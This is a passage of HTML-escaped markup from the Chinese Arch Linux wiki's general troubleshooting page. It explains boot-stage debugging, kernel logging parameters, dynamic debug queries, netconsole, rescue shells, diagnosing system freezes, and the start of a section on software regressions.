&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Arch 的启动流程&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Arch_%E7%9A%84%E5%90%AF%E5%8A%A8%E6%B5%81%E7%A8%8B#%E5%BC%95%E5%AF%BC%E5%8A%A0%E8%BD%BD%E7%A8%8B%E5%BA%8F&quot;&gt;引导加载器&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;此处最容易引发故障的因素是修改了内核参数。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Arch 的启动流程&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Arch_%E7%9A%84%E5%90%AF%E5%8A%A8%E6%B5%81%E7%A8%8B#initramfs&quot;&gt;initramfs&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;通常能提供一个 emergency shell。&lt;&#x2F;li&gt;
&lt;li&gt;在 shell 中可以用 dmesg 或 journal，取决于构建时选择的钩子。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;实际系统&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;根据故障的严重程度，可能只需要调用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E5%B8%B8%E8%A7%84%E6%95%85%E9%9A%9C%E6%8E%92%E9%99%A4#%E6%95%85%E9%9A%9C%E6%81%A2%E5%A4%8D%E6%8E%A7%E5%88%B6%E5%8F%B0&quot;&gt;调试控制台&lt;&#x2F;a&gt;就行了。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;如果某一阶段的调试工具无法修复损坏的组件，请尝试使用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;在可移动设备上安装 Arch Linux&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E5%9C%A8%E5%8F%AF%E7%A7%BB%E5%8A%A8%E8%AE%BE%E5%A4%87%E4%B8%8A%E5%AE%89%E8%A3%85_Arch_Linux&quot;&gt;包含最新 Arch Linux ISO 的U盘&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;kong-zhi-tai-de-shu-chu-xin-xi&quot;&gt;控制台的输出信息&lt;&#x2F;h3&gt;
&lt;p&gt;在启动过程完成以后，屏幕会被清空并显示登录提示符，这使得用户无法看到初始化过程中的输出和其中的错误信息。这一默认特性可以使用接下来几节中的方法进行修改。&lt;&#x2F;p&gt;
&lt;p&gt;请注意，无论选择下面哪个方法，在启动后通过 &lt;code&gt;journalctl -k&lt;&#x2F;code&gt; 或 &lt;code&gt;dmesg&lt;&#x2F;code&gt; 都可以显示内核消息，用于检查错误。要显示本次启动的所有日志，请使用 &lt;code&gt;journalctl -b&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;shu-chu-liu-kong-zhi&quot;&gt;输出流控制&lt;&#x2F;h4&gt;
&lt;p&gt;以下是适用于大多数终端模拟器的基本操作，包括虚拟终端 (VC)：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;按 &lt;code&gt;Ctrl+s&lt;&#x2F;code&gt; 暂停输出。&lt;&#x2F;li&gt;
&lt;li&gt;按 &lt;code&gt;Ctrl+q&lt;&#x2F;code&gt; 继续输出。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;这样不仅会暂停输出，而且会暂停尝试打印到终端的程序，即暂停输出时会阻塞 &lt;code&gt;write()&lt;&#x2F;code&gt; 调用。 如果你的 &lt;em&gt;init&lt;&#x2F;em&gt; 进程出现冻结，请确保系统控制台没有暂停。&lt;&#x2F;p&gt;
&lt;p&gt;要查看已经显示过的错误信息，参见 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Getty&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Getty#%E5%B0%86%E5%BC%95%E5%AF%BC%E6%B6%88%E6%81%AF%E4%BF%9D%E7%95%99%E5%9C%A8_tty1_%E4%B8%8A&quot;&gt;Getty#将引导消息保留在 tty1 上&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;da-yin-geng-duo-nei-he-xiao-xi&quot;&gt;打印更多内核消息&lt;&#x2F;h4&gt;
&lt;p&gt;在启动时大部分内核消息是隐藏的，添加不同的内核参数即可打印出更多消息，最简单的有这些参数：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;debug&lt;&#x2F;code&gt;，有如下效果：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;内核会提高它的控制台&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.kernel.org&#x2F;core-api&#x2F;printk-basics.html&quot;&gt;日志级别&lt;&#x2F;a&gt;，这样内核日志缓冲区中的所有消息都将打印到控制台。[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.kernel.org&#x2F;admin-guide&#x2F;kernel-parameters.html&quot;&gt;1]&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Systemd&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd&quot;&gt;systemd&lt;&#x2F;a&gt; 会提高它的日志级别，这会记录下调试信息，这些信息在其他地方是不会生成的。[&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;systemd&#x2F;systemd&#x2F;blob&#x2F;v251&#x2F;src&#x2F;basic&#x2F;log.c#L1125-L1126&quot;&gt;2]&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;ignore_loglevel&lt;&#x2F;code&gt;，对于内核来说它和 &lt;code&gt;debug&lt;&#x2F;code&gt; 或 &lt;code&gt;loglevel=8&lt;&#x2F;code&gt; （debug 对应的级别是 &lt;code&gt;7&lt;&#x2F;code&gt;）有相同的效果，但在启动后期日志级别不会提高。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在特定情况下可以添加的参数还有这些：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;earlyprintk=vga,keep&lt;&#x2F;code&gt; 打印启动过程中最早期的内核消息，用在还没显示输出就崩溃的情况下。在 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;UEFI&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;UEFI&quot;&gt;UEFI&lt;&#x2F;a&gt; 系统上需要把 &lt;code&gt;vga&lt;&#x2F;code&gt; 改成 &lt;code&gt;efi&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;log_buf_len=16M&lt;&#x2F;code&gt; 将分配一个更大的 (16 MiB) 内核日志缓冲区，确保调试输出不会被覆盖。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;sheng-cheng-geng-duo-nei-he-diao-shi-xin-xi&quot;&gt;生成更多内核调试信息&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E5%B8%B8%E8%A7%84%E6%95%85%E9%9A%9C%E6%8E%92%E9%99%A4#%E6%89%93%E5%8D%B0%E6%9B%B4%E5%A4%9A%E5%86%85%E6%A0%B8%E6%B6%88%E6%81%AF&quot;&gt;#打印更多内核消息&lt;&#x2F;a&gt;描述了如何将内核日志缓冲区中的内容打印到控制台，但内核日志缓冲区也不是所有消息都有（除了 systemd 的 debug 输出）。本节讨论如何获取比内核日志更详细的信息。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;dong-tai-diao-shi&quot;&gt;动态调试&lt;&#x2F;h5&gt;
&lt;p&gt;由函数 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.kernel.org&#x2F;core-api&#x2F;printk-basics.html#c.pr_debug&quot;&gt;pr_debug&lt;&#x2F;a&gt; 或类似函数 &lt;code&gt;dev_dbg()&lt;&#x2F;code&gt;, &lt;code&gt;drm_dbg()&lt;&#x2F;code&gt; 和 &lt;code&gt;bt_dev_dbg()&lt;&#x2F;code&gt; 生成的消息不在内核日志里，除非：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;修改内核源代码，在需要的地方定义 &lt;code&gt;DEBUG&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;利用内核的&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.kernel.org&#x2F;admin-guide&#x2F;dynamic-debug-howto.html&quot;&gt;动态调试&lt;&#x2F;a&gt;功能来启用调试消息。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;本节讨论动态调试的用法，当你已经查看了所有内核日志，甚至是 information 级别的日志，但还是想从特定位置获取更多调试信息，那么动态调试很有用。&lt;&#x2F;p&gt;
&lt;p&gt;首先，你用的内核必须是用 &lt;code&gt;CONFIG_DYNAMIC_DEBUG&lt;&#x2F;code&gt; 内核配置选项编译出来的，&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;archlinux.org&#x2F;packages&#x2F;?name=linux&quot;&gt;linux&lt;&#x2F;a&gt;^包^ 包的内核已经满足了要求，如果用这个内核就无需执行任何操作。&lt;&#x2F;p&gt;
&lt;p&gt;然后需要确定所需调试信息在哪，有几种选择：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果问题与特定模块有关，就找到内核模块的名称。比如要排除 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Intel 图形处理器&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Intel_%E5%9B%BE%E5%BD%A2%E5%A4%84%E7%90%86%E5%99%A8&quot;&gt;Intel 图形处理器&lt;&#x2F;a&gt;的故障，就需要关注 &lt;code&gt;i915&lt;&#x2F;code&gt; DRM &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;内核模块&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E5%86%85%E6%A0%B8%E6%A8%A1%E5%9D%97&quot;&gt;内核模块&lt;&#x2F;a&gt;.&lt;&#x2F;li&gt;
&lt;li&gt;找到内核中相关功能对应的目录，这需要查看（或在线导航）&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;内核&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E5%86%85%E6%A0%B8&quot;&gt;内核&lt;&#x2F;a&gt;源代码以了解其结构。例如，要查看所有 DRM 内核模块的调试消息，可以使用路径 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;torvalds&#x2F;linux&#x2F;tree&#x2F;v5.19&#x2F;drivers&#x2F;gpu&#x2F;drm&quot;&gt;drivers&#x2F;gpu&#x2F;drm&lt;&#x2F;a&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;要使用该消息“源”，就必须发起一次动态调试查询，指明要启用哪些调试消息，格式如下：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;i&gt;match_type&lt;&#x2F;i&gt; &lt;i&gt;match_parameter&lt;&#x2F;i&gt; &lt;i&gt;flags&lt;&#x2F;i&gt;
&lt;&#x2F;pre&gt;
&lt;p&gt;其中：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;match_type&lt;&#x2F;em&gt; 是匹配类型，与上述 2 种选择相对应，可取值为 &lt;code&gt;module&lt;&#x2F;code&gt; 或 &lt;code&gt;file&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;match_parameter&lt;&#x2F;em&gt; 是要监控的模块或文件路径，后一种情况允许使用星号作为通配符。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;em&gt;flags&lt;&#x2F;em&gt; 表示如何处理匹配结果，可以取 &lt;code&gt;+p&lt;&#x2F;code&gt; 来开始打印其消息，或者 &lt;code&gt;-p&lt;&#x2F;code&gt; 来撤消打印。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;一些查询示例：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;module i915 +p&lt;&#x2F;code&gt; 打印来自 &lt;code&gt;i915&lt;&#x2F;code&gt; 内核模块的调试信息。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;file drivers&#x2F;gpu&#x2F;drm&#x2F;* +p&lt;&#x2F;code&gt; 打印来自 DRM 驱动的调试信息。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;file * +p&lt;&#x2F;code&gt; 打印调试信息。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;最后，要实际执行上述查询，可以这样：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在运行时执行查询，运行命令：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre&gt;&lt;code&gt;# echo &amp;quot;查询&amp;quot; &amp;gt; &amp;#x2F;sys&amp;#x2F;kernel&amp;#x2F;debug&amp;#x2F;dynamic_debug&amp;#x2F;control
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上述命令假设 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;wikipedia:debugfs&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;debugfs&quot;&gt;debugfs&lt;&#x2F;a&gt; 挂载到了 &lt;code&gt;&#x2F;sys&#x2F;kernel&#x2F;debug&#x2F;&lt;&#x2F;code&gt;，你可以用 &lt;code&gt;mount &lt;&#x2F;code&gt; 来确认。 [&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;stackoverflow.com&#x2F;a&#x2F;63682160&quot;&gt;3]&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在系统启动时执行查询，添加 &lt;code&gt;dyndbg=&amp;amp;#34;query&amp;amp;#34;&lt;&#x2F;code&gt; &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;内核参数&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E5%86%85%E6%A0%B8%E5%8F%82%E6%95%B0&quot;&gt;内核参数&lt;&#x2F;a&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;以上是对动态调试功能非常简略的概述，更多详细信息请参阅&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.kernel.org&#x2F;admin-guide&#x2F;dynamic-debug-howto.html#command-language-reference&quot;&gt;文档&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;te-ding-zi-xi-tong-de-diao-shi&quot;&gt;特定子系统的调试&lt;&#x2F;h5&gt;
&lt;p&gt;在特定的子系统中，还有许多单独的参数可用于调试，例如 &lt;code&gt;bootmem_debug&lt;&#x2F;code&gt;、&lt;code&gt;sched_debug&lt;&#x2F;code&gt;。此外 &lt;code&gt;initcall_debug&lt;&#x2F;code&gt; 用来检查启动卡死很有用（找到那些没有返回的调用）。特定的信息请查询&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.kernel.org&#x2F;admin-guide&#x2F;kernel-parameters.html&quot;&gt;内核参数文档&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h4 id=&quot;netconsole&quot;&gt;netconsole&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;docs.kernel.org&#x2F;networking&#x2F;netconsole.html&quot;&gt;netconsole&lt;&#x2F;a&gt; 是一个内核模块，它将所有内核日志消息（即 dmesg）通过网络发送到另一台计算机，不涉及到用户空间（如 syslogd）。 &quot;netconsole&quot; 这个名称不是很准确，因为它并不是真正的控制台，更像是远程日志记录服务。&lt;&#x2F;p&gt;
&lt;p&gt;它可以内置使用或作为模块使用。内置使用的 &lt;em&gt;netconsole&lt;&#x2F;em&gt; 在网卡之后就被初始化，并马上启动特定的接口。作为模块使用，主要用于捕获无显示器的计算机的内核崩溃输出，或者另一种情况就是用户空间有故障。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;gu-zhang-hui-fu-kong-zhi-tai&quot;&gt;故障恢复控制台&lt;&#x2F;h3&gt;
&lt;p&gt;在启动过程中的某个阶段获取一个交互式 shell 可以帮助你准确找出问题出在哪里，以及为何失败。有几个内核参数可以做到这一点，但它们都启动了一个正常的shell，可以随时 &lt;code&gt;exit&lt;&#x2F;code&gt; 让内核恢复正在执行的操作：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;rescue&lt;&#x2F;code&gt; 在根文件系统刚刚被挂载为读写模式的时候启动一个 shell&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;emergency&lt;&#x2F;code&gt; 可以在更早的时候启动 shell，早于大部分文件系统挂载之前&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;init=&#x2F;bin&#x2F;sh&lt;&#x2F;code&gt;（作为最后的选择）把 init 程序改成 root shell。因为 &lt;code&gt;rescue&lt;&#x2F;code&gt; 和 &lt;code&gt;emergency&lt;&#x2F;code&gt; 都依赖于 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Systemd&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd&quot;&gt;systemd&lt;&#x2F;a&gt;，而这可以在 &lt;em&gt;systemd&lt;&#x2F;em&gt; 坏掉的时候工作&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;还有一个选择，那就是 systemd 的 debug-shell，它在 &lt;code&gt;tty9&lt;&#x2F;code&gt; 上新增了一个 root shell，可以按 Ctrl+Alt+F9 来使用。这个功能可以通过在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;内核参数&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E5%86%85%E6%A0%B8%E5%8F%82%E6%95%B0&quot;&gt;内核参数&lt;&#x2F;a&gt;中添加 &lt;code&gt;systemd.debug-shell&lt;&#x2F;code&gt;，或者是&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Enabling&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Enabling&quot;&gt;启用&lt;&#x2F;a&gt; &lt;code&gt;debug-shell.service&lt;&#x2F;code&gt; 来打开。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;警告：&lt;&#x2F;strong&gt;  使用完后要记得禁用该服务，避免在每次启动时都打开 root shell 而带来安全风险。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;diao-shi-nei-he-mo-kuai&quot;&gt;调试内核模块&lt;&#x2F;h3&gt;
&lt;p&gt;参阅&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;内核模块&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E5%86%85%E6%A0%B8%E6%A8%A1%E5%9D%97#%E8%8E%B7%E5%8F%96%E4%BF%A1%E6%81%AF&quot;&gt;内核模块#获取信息&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;diao-shi-ying-jian-wen-ti&quot;&gt;调试硬件问题&lt;&#x2F;h3&gt;
&lt;ul&gt;
&lt;li&gt;按照 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Udev&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Udev#Debug_output&quot;&gt;udev#Debug output&lt;&#x2F;a&gt; 的说明可以显示额外硬件调试信息。&lt;&#x2F;li&gt;
&lt;li&gt;确保你的系统已经安装了&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Microcode&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Microcode&quot;&gt;微码&lt;&#x2F;a&gt;更新。&lt;&#x2F;li&gt;
&lt;li&gt;要测试内存请参阅 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;arch:Stress testing&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;Stress_testing#MemTest86.2B&quot;&gt;MemTest86+&lt;&#x2F;a&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;要排查系统是否超温请使用 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Lm sensors&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Lm_sensors&quot;&gt;lm_sensors&lt;&#x2F;a&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;要检查存储器的健康状况，请参阅 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;arch:S.M.A.R.T.&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;S.M.A.R.T.&quot;&gt;S.M.A.R.T.&lt;&#x2F;a&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;diao-shi-xi-tong-qia-si-wen-ti&quot;&gt;调试系统卡死问题&lt;&#x2F;h2&gt;
&lt;p&gt;不幸的是，系统卡死通常很难调试，并且有些需要很长时间才能复现。有些类型的卡死调试起来相对容易一点：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;声音还在播放？这种情况可能只是显示卡死了，显卡驱动可能有问题。&lt;&#x2F;li&gt;
&lt;li&gt;系统还有响应吗？如果切换到其他 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Tty&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Tty&quot;&gt;TTY&lt;&#x2F;a&gt; 不行的话就试试 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;SSH&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;SSH&quot;&gt;SSH&lt;&#x2F;a&gt;。&lt;&#x2F;li&gt;
&lt;li&gt;硬盘活动指示灯（如果有的话）是否在指示有大量数据在读写？大量的内存交换也会暂时卡死系统。关于大量写入硬盘时卡死的情况请参阅&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;unix.stackexchange.com&#x2F;a&#x2F;340567&quot;&gt;这个 StackExchange 回答&lt;&#x2F;a&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;如果上述都不行，尝试一次&lt;strong&gt;完整&lt;&#x2F;strong&gt;的关机。按&lt;em&gt;一次&lt;&#x2F;em&gt;电源键或许可以使系统有反应，并显示“关机画面”，关机画面包含了所有正在停止的单元。或者使用神奇的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;arch:SysRq&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinux.org&#x2F;title&#x2F;SysRq&quot;&gt;SysRq&lt;&#x2F;a&gt; 键也可以进行完整关机。完整关机很重要，因为&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;Systemd&#x2F;Journal&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;Systemd&#x2F;Journal&quot;&gt;日志&lt;&#x2F;a&gt;可能提示了系统卡死的原因。在非正常关闭时日志可能不会写入磁盘。系统毫无反应的情况更难调试，因为日志无法及时写入磁盘。&lt;&#x2F;p&gt;
&lt;p&gt;如果卡死以后没法将任何内容写入磁盘，可以尝试远程日志。以下是一个粗略的远程日志方案，需要从另一个设备发起，可用于基本调试：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;$ ssh freezing_host journalctl -f
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;许多致命卡死（整个系统无响应只能强制关机）可能与固件、驱动程序或硬件存在缺陷有关。尝试不同的内核（请参阅&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;内核&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E5%86%85%E6%A0%B8#%E8%B0%83%E8%AF%95%E5%9B%9E%E9%80%80&quot;&gt;内核#调试回退&lt;&#x2F;a&gt;），甚至换个 Linux 发行版或操作系统，还有更新固件并运行硬件诊断可能有助于发现问题。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;提示：&lt;&#x2F;strong&gt; 建议尝试更新设备的固件，因为这些更新可能会修复奇怪的问题。&lt;&#x2F;p&gt;
&lt;p&gt;如果卡死以后无法收集用来调试的日志或信息，请尝试在 live 环境中重现卡死。如果需要图形环境来重现，或者如果在 archiso 上成功重现了卡死，请更换不同发行版的 live 环境，最好不是基于 Arch Linux 的发行版，以排除卡死与版本或内核补丁相关的可能性。如果在 live 环境中仍然卡死，则&lt;em&gt;很可能&lt;&#x2F;em&gt;与硬件有关。如果不再发生卡死，那就需要了解两个系统的差异。配置、版本和内核参数的不同，以及其他类似的更改可能已经解决了卡死问题。&lt;&#x2F;p&gt;
&lt;p&gt;但是，大写锁定指示灯闪烁可能表示&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;内核&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E5%86%85%E6%A0%B8#%E5%86%85%E6%A0%B8_Panics&quot;&gt;内核崩溃&lt;&#x2F;a&gt;。当发生内核崩溃时，因为某些设置，TTY 可能不会显示，导致内核崩溃被误以为是另一种卡死。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;chu-li-ruan-jian-dao-tui-wen-ti&quot;&gt;处理软件倒退问题&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;strong&gt;警告：&lt;&#x2F;strong&gt;  这样做往往会导致 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;系统维护&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E7%B3%BB%E7%BB%9F%E7%BB%B4%E6%8A%A4#%E4%B8%8D%E6%94%AF%E6%8C%81%E9%83%A8%E5%88%86%E5%8D%87%E7%BA%A7&quot;&gt;部分升级&lt;&#x2F;a&gt;，在特殊情况下这是不可避免的。请谨慎操作并准备好 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;安装指南&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E5%AE%89%E8%A3%85%E6%8C%87%E5%8D%97#%E5%87%86%E5%A4%87%E5%AE%89%E8%A3%85%E4%BB%8B%E8%B4%A8&quot;&gt;恢复系统的方法&lt;&#x2F;a&gt;，以防部分升级导致无法启动。&lt;&#x2F;p&gt;
&lt;p&gt;如果是更新导致的问题，且&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;降级软件包&quot; href=&quot;https:&#x2F;&#x2F;wiki.archlinuxcn.org&#x2F;wiki&#x2F;%E9%99%8D%E7%BA%A7%E8%BD%AF%E4%BB%B6%E5%8C%85&quot;&gt;降级&lt;&#x2F;a&gt;特定包可以解决问题，则可能是&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;wikipedia:Software regression&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Software_regression&quot;&gt;软件倒退&lt;&#x2F;a&gt;。 如果在正常的完整系统升级后发生这种情况，请检查 &lt;code&gt;pacman.log&lt;&#x2F;code&gt; 来确定哪个软件包可能导致了该问题。处理软件倒退最重要的是检查新版本是否已解决问题，这样可以节省大量时间。为此，首先确保应用程序已完全更新（确保程序与&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; title=&quot;官方仓库&quot; 